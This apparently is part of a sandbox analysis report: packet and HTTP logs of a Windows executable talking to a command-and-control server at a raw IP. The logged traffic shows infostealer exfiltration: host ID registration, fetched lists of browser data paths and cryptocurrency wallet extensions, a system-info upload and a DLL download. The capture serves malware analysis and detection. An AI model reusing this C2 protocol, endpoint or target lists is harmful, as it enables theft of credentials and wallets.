Oct 20, 2024 06:40:23.735379934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:23.796200991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:24.022773027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.371592045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.371612072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.371622086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.371706009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:24.374228001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:24.379278898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.724723101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:24.728292942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:24.737612963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:24.742505074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.589540958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.589656115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:25.619966984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:25.625006914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.985826969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.985846996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.985856056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.985867023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.985876083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:25.986011982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:25.987644911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:25.992556095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:26.836683035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:26.836783886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:29.611314058 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6868	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 06:40:01.268142939 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 06:40:02.420922041 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:02.423437119 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 38 38 41 36 36 45 42 42 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"8588A66EBB693196934881------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"doma------IDHIEGIIIECAKEBFBAAE--
Oct 20, 2024 06:40:02.803164005 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 44 6c 6b 4f 44 51 33 59 57 51 77 4e 6d 4d 78 5a 6a 4d 77 4d 6d 4e 68 4d 47 4e 6c 4f 44 46 68 4e 32 4a 68 4f 54 56 69 4e 7a 6b 33 5a 47 4e 69 4f 44 42 69 4e 6a 41 35 4e 6a 55 79 59 6a 56 6c 4e 57 5a 68 5a 44 41 34 4e 6a 56 6c 4e 47 55 33 5a 57 56 6d 4d 7a 55 32 4d 44 45 78 59 7a 45 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ODlkODQ3YWQwNmMxZjMwMmNhMGNlODFhN2JhOTViNzk3ZGNiODBiNjA5NjUyYjVlNWZhZDA4NjVlNGU3ZWVmMzU2MDExYzEwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 20, 2024 06:40:02.804245949 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIII Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"browsers------GHIDGDHCGCBAKFHIIIII--
Oct 20, 2024 06:40:03.156533957 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 20, 2024 06:40:03.156688929 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 20, 2024 06:40:03.157869101 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHID Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 2d 2d 0d 0a Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="message"plugins------IIEHCFIDHIDGIDHJEHID--
Oct 20, 2024 06:40:03.508142948 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 20, 2024 06:40:03.508191109 CEST	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 20, 2024 06:40:03.508200884 CEST	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 20, 2024 06:40:03.508316040 CEST	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 20, 2024 06:40:03.508327961 CEST	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 20, 2024 06:40:03.508337975 CEST	636	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 20, 2024 06:40:03.508713961 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 20, 2024 06:40:03.510876894 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 20, 2024 06:40:03.521086931 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 61 64 30 36 63 31 66 33 30 32 63 61 30 63 65 38 31 61 37 62 61 39 35 62 37 39 37 64 63 62 38 30 62 36 30 39 36 35 32 62 35 65 35 66 61 64 30 38 36 35 65 34 65 37 65 65 66 33 35 36 30 31 31 63 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 48 2d 2d 0d 0a Data Ascii: ------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="message"fplugins------IIIECAAKECFHIECBKJDH--
Oct 20, 2024 06:40:04.009232044 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 20, 2024 06:40:04.025753021 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJ Host: 185.215.113.37 Content-Length: 5447 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 06:40:04.025794983 CEST	5447	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 39 64 38 34 37 Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="token"89d847ad06c1f302ca0ce81a7ba95b797dcb80b609652b5e5fad0865e4e7eef356011c10------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 20, 2024 06:40:04.906501055 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 04:40:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 06:40:05.138195992 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
